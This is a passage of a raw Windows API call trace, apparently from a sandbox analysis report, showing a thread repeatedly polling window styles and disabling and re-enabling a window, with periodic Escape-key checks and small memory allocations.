GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0194.161] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0194.161] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0194.161] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0194.161] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0194.161] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0194.161] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0194.161] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0194.161] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0194.161] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0194.162] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0194.162] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0194.162] IsWindowEnabled (hWnd=0x20360) returned 1 [0194.162] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0194.162] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0194.162] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0194.162] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0194.162] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0194.162] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0194.162] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0194.163] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0194.163] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0194.163] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0194.163] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0194.163] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0194.163] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0194.163] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0194.163] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0194.163] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0194.163] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0194.164] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0194.164] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0194.164] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0194.164] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0194.164] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f799f0 [0194.165] IMalloc:Free (This=0x7fefecb5380, pv=0x4f799f0) [0197.063] GetAsyncKeyState (vKey=27) returned 0 [0197.063] GetCurrentThreadId () returned 0xbdc [0197.063] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0197.063] GetDesktopWindow () returned 0x10010 [0197.063] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0197.063] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0197.063] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0197.064] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0197.064] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0197.064] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0197.064] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0197.064] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0197.064] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0197.064] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0197.064] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0197.064] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0197.064] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0197.064] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0197.065] IsWindowEnabled (hWnd=0x20360) returned 0 [0197.065] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0197.065] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0197.065] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0197.065] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0197.065] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0197.065] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0197.065] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0197.065] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0197.065] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0197.065] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0197.066] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0197.066] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0197.066] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0197.066] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0197.066] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0197.066] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0197.066] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0197.066] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0197.066] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0197.066] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0197.067] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0197.067] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0197.067] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0197.130] GetCurrentThreadId () returned 0xbdc [0197.130] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0197.130] GetDesktopWindow () returned 0x10010 [0197.131] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0197.131] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0197.131] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0197.131] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0197.131] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0197.131] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0197.131] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0197.131] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0197.131] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0197.132] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0197.132] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0197.132] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0197.132] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0197.132] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0197.132] IsWindowEnabled (hWnd=0x20360) returned 1 [0197.132] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0197.132] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0197.132] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0197.132] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0197.133] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0197.133] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0197.133] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0197.133] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0197.133] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0197.133] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0197.133] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0197.133] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0197.133] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0197.133] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0197.133] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0197.133] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0197.134] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0197.134] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0197.134] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0197.134] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0197.134] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0197.134] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f7b6d0 [0197.135] IMalloc:Free (This=0x7fefecb5380, pv=0x4f7b6d0) [0200.265] GetAsyncKeyState (vKey=27) returned 0 [0200.265] GetCurrentThreadId () returned 0xbdc [0200.265] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0200.265] GetDesktopWindow () returned 0x10010 [0200.266] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0200.266] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0200.266] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0200.266] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0200.266] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0200.266] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0200.266] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0200.266] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0200.266] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0200.267] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0200.267] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0200.267] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0200.267] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0200.267] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0200.267] IsWindowEnabled (hWnd=0x20360) returned 0 [0200.267] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0200.267] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0200.267] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0200.267] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0200.268] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0200.268] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0200.268] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0200.268] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0200.268] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0200.268] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0200.268] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0200.268] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0200.268] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0200.269] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0200.269] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0200.269] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0200.269] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0200.269] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0200.269] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0200.269] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0200.269] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0200.270] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0200.270] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0200.330] GetCurrentThreadId () returned 0xbdc [0200.330] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0200.330] GetDesktopWindow () returned 0x10010 [0200.331] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0200.331] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0200.331] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0200.331] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0200.331] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0200.331] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0200.332] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0200.332] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0200.332] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0200.332] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0200.332] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0200.332] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0200.332] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0200.332] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0200.332] IsWindowEnabled (hWnd=0x20360) returned 1 [0200.332] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0200.332] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0200.332] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0200.333] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0200.333] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0200.333] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0200.333] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0200.333] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0200.333] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0200.333] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0200.334] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0200.334] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0200.334] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0200.334] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0200.334] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0200.334] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0200.334] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0200.334] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0200.334] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0200.334] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0200.335] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0200.335] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f79eb0 [0200.335] IMalloc:Free (This=0x7fefecb5380, pv=0x4f79eb0) [0203.293] GetAsyncKeyState (vKey=27) returned 0 [0203.293] GetCurrentThreadId () returned 0xbdc [0203.293] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0203.293] GetDesktopWindow () returned 0x10010 [0203.294] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0203.294] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0203.294] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0203.294] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0203.294] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0203.294] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0203.294] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0203.294] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0203.294] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0203.295] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0203.295] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0203.295] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0203.295] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0203.295] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0203.295] IsWindowEnabled (hWnd=0x20360) returned 0 [0203.295] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0203.295] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0203.295] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0203.295] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0203.296] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0203.296] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0203.296] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0203.296] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0203.296] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0203.296] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0203.296] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0203.296] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0203.296] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0203.296] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0203.296] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0203.296] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0203.297] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0203.297] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0203.297] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0203.297] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0203.297] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0203.298] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0203.298] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0203.408] GetCurrentThreadId () returned 0xbdc [0203.408] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0203.408] GetDesktopWindow () returned 0x10010 [0203.409] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0203.409] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0203.409] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0203.409] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0203.409] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0203.409] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0203.410] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0203.410] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0203.410] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0203.410] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0203.410] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0203.410] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0203.410] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0203.410] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0203.410] IsWindowEnabled (hWnd=0x20360) returned 1 [0203.410] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0203.410] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0203.410] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0203.411] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0203.411] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0203.411] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0203.411] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0203.411] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0203.411] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0203.411] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0203.412] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0203.412] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0203.412] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0203.412] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0203.412] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0203.412] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0203.412] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0203.412] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0203.412] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0203.412] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0203.413] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0203.413] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f78170 [0203.413] IMalloc:Free (This=0x7fefecb5380, pv=0x4f78170) [0206.253] GetAsyncKeyState (vKey=27) returned 0 [0206.253] GetCurrentThreadId () returned 0xbdc [0206.253] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0206.253] GetDesktopWindow () returned 0x10010 [0206.254] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0206.254] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0206.254] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0206.255] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0206.255] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0206.255] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0206.255] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0206.255] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0206.255] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0206.255] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0206.255] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0206.255] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0206.255] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0206.256] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0206.256] IsWindowEnabled (hWnd=0x20360) returned 0 [0206.256] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0206.256] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0206.256] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0206.256] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0206.256] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0206.256] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0206.256] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0206.256] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0206.256] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0206.256] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0206.257] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0206.257] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0206.257] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0206.257] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0206.257] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0206.257] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0206.257] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0206.257] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0206.257] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0206.257] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0206.258] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0206.258] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0206.258] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0206.331] GetCurrentThreadId () returned 0xbdc [0206.331] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0206.331] GetDesktopWindow () returned 0x10010 [0206.331] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0206.331] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0206.331] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0206.332] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0206.332] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0206.332] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0206.332] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0206.332] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0206.332] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0206.332] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0206.332] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0206.332] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0206.333] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0206.333] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0206.333] IsWindowEnabled (hWnd=0x20360) returned 1 [0206.333] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0206.333] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0206.333] EnableWindow (hWnd=0x20360, 